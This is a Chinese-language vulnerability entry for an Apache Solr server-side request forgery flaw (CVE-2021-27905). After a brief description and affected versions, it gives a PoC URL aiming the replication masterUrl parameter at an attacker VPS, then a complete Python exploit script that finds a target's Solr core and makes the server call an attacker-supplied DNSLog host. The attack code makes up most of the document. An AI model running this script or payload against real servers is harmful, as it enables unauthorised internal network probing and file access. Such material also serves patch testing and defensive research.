【初级】Apache Solr 服务端请求伪造漏洞

漏洞描述：Apache Solr 8.8.2之前版本存在安全漏洞，Apache Solr 中的 ReplicationHandler（通常注册在 Solr core下的“/replication”）有一个“masterUrl”（也是“leaderUrl”别名）参数，用于指定另一个 Solr core上的另一个 ReplicationHandler 将索引数据复制到本地core。为了防止 SSRF 漏洞，Solr 应该根据它用于“shards”参数的类似配置检查这些参数。攻击者可利用该漏洞，传递特定参数，构造并执行服务端请求伪造，造成攻击者任意读取服务器上的文件，利用该漏洞可造成内网信息探测。

影响版本：Apache Solr < 8.8.2

POC:http://ip/solr/new_core/replication?command=fetchindex&masterUrl=http://vps

EXP:

# CVE-2021-27905
# Apache solr ssrf

import requests
import urllib3
import json
import sys, getopt
urllib3.disable_warnings()


def title():
    print("[-------------------------------------------------------------]")
    print("[--------------      Apache Solr SSRF漏洞      ---------------]")
    print("[--------               CVE-2021-27905               ----------]")
    print("[--------use:python3 CVE-2021-27905.py -u url -d dnslog--------]")
    print("[--------              Author:Henry4E36            ------------]")
    print("[-------------------------------------------------------------]")

def commit():
    url = ""
    try:
        opt, agrs = getopt.getopt(sys.argv[1:], "hu:d:", ["help", "url=","dnslog="])
        for op, value in opt:
            if op == "-h" or op == "--help":
                print("""
            [-]   Apache Solr SSRF漏洞 (CVE-2021-27905)
            [-]   Options:
                     -h or --help      :   方法说明
                     -u or --url       :   站点URL地址
                     -d or --dnslog    :   DnsLog
                """)
                sys.exit(0)
            elif op == "-u" or op == "--url=":
                url = value
            elif op == "-d" or op == "--dnslog=":
                dnslog = value
            else:
                print("[-] 参数有误! eg:>>> python3 CVE-2021-27905.py -u http://127.0.0.1 -d dnslog")
                sys.exit()
        return url, dnslog

    except Exception as e:
        print("[-] 参数有误! eg:>>> python3 CVE-2021-27905.py -u http://127.0.0.1 -d dnslog")
        sys.exit(0)

def target_core(url):
    target_url = url + "/solr/admin/cores?indexInfo=false&wt=json"
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36"
    }
    try:
        res = requests.get(url=target_url,headers=headers,verify=False,timeout=5)
        core = list(json.loads(res.text)["status"])[0]
        return core
    except Exception as e:
        print(f"[!]  目标系统: {url} 出现意外！n ",e)

def ssrf(core,dnslog):
    target_url = url + f"/solr/{core}/replication/?command=fetchindex&masterUrl=http://{dnslog}"
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36"
    }
    try:
        res = requests.get(url=target_url, headers=headers, verify=False, timeout=5)
        status = json.loads(res.text)["status"]
        if res.status_code == 200 and status == "OK":
            print(f"[!]  33[31m目标系统: {url} 可能存在SSRF漏洞，请检查DNSLog响应！33[0m")
        else:
            print(f"[0]  目标系统: {url} 不存在SSRF漏洞")

    except Exception as e:
        print(f"[!]  目标系统: {url} 出现意外！n ", e)


if __name__ == "__main__":
    title()
    url ,dnslog = commit()
    core = target_core(url)
    ssrf(core,dnslog)

参考资料：https://www.bilibili.com/read/cv11965182/